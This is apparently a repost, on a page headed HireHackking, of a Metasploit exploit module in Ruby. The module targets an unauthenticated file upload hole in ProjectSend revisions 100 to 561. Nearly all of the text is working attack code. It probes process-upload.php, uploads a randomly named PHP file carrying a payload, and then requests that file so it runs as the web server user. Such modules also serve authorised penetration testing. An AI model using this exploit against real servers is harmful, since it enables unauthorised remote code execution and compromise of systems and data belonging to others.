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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'ProjectSend Arbitrary File Upload',
      'Description'    => %q{
        This module exploits a file upload vulnerability in ProjectSend
        revisions 100 to 561. The 'process-upload.php' file allows
        unauthenticated users to upload PHP files resulting in remote
        code execution as the web server user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Fady Mohammed Osman', # Discovery and Exploit
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'References'     =>
        [
          ['EDB', '35424']
        ],
      'Payload'        =>
        {
          'BadChars'   => "\x00"
        },
      'Arch'           => ARCH_PHP,
      'Platform'       => 'php',
      'Targets'        =>
        [
          # Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu)
          ['ProjectSend (PHP Payload)', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Dec 02 2014',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/'])
        ], self.class)
  end

  #
  # Checks if target upload functionality is working
  #
  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'process-upload.php')
    )
    if !res
      vprint_error("#{peer} - Connection timed out")
      return Exploit::CheckCode::Unknown
    elsif res.code.to_i == 404
      vprint_error("#{peer} - No process-upload.php found")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 500
      vprint_error("#{peer} - Unable to write file")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
      vprint_error("#{peer} - File process-upload.php is not executable")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/
      vprint_error("#{peer} - Software is misconfigured")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/
      # response on revision 118 onwards includes the file name
      if res.body && res.body =~ /NewFileName/
        return Exploit::CheckCode::Vulnerable
      # response on revisions 100 to 117 does not include the file name
      elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
        return Exploit::CheckCode::Appears
      elsif res.body && res.body =~ /Failed to open output stream/
        vprint_error("#{peer} - Upload folder is not writable")
        return Exploit::CheckCode::Safe
      else
        return Exploit::CheckCode::Detected
      end
    else
      return Exploit::CheckCode::Safe
    end
  end

  #
  # Upload PHP payload
  #
  def upload
    fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php"
    php = "<?php #{payload.encoded} ?>"
    data = Rex::MIME::Message.new
    data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}"))
    post_data = data.to_s
    print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)")
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data
    )
    if !res
      fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
    elsif res.code.to_i == 404
      fail_with(Failure::NotFound, "#{peer} - No process-upload.php found")
    elsif res.code.to_i == 500
      fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
    elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/
      fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable")
    elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
      fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable")
    elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/
      fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured")
    # response on revision 118 onwards includes the file name
    elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/
      print_good("#{peer} - Payload uploaded successfully (#{fname})")
      return fname
    # response on revisions 100 to 117 does not include the file name
    elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
      print_warning("#{peer} - File upload may have failed")
      return fname
    else
      vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}")
      fail_with(Failure::Unknown, "#{peer} - Something went wrong")
    end
  end

  #
  # Execute uploaded file
  #
  def exec(upload_path)
    print_status("#{peer} - Executing #{upload_path}...")
    res = send_request_raw(
      { 'uri' => normalize_uri(target_uri.path, upload_path) }, 5
    )
    if !res
      print_status("#{peer} - Request timed out while executing")
    elsif res.code.to_i == 404
      vprint_error("#{peer} - Not found: #{upload_path}")
    elsif res.code.to_i == 200
      vprint_good("#{peer} - Executed #{upload_path}")
    else
      print_error("#{peer} - Unexpected reply")
    end
  end

  #
  # upload && execute
  #
  def exploit
    fname = upload
    register_files_for_cleanup(fname)
    exec("upload/files/#{fname}") # default for r-221 onwards
    unless session_created?
      exec("upload/temp/#{fname}")  # default for r-100 to r-219
    end
  end
end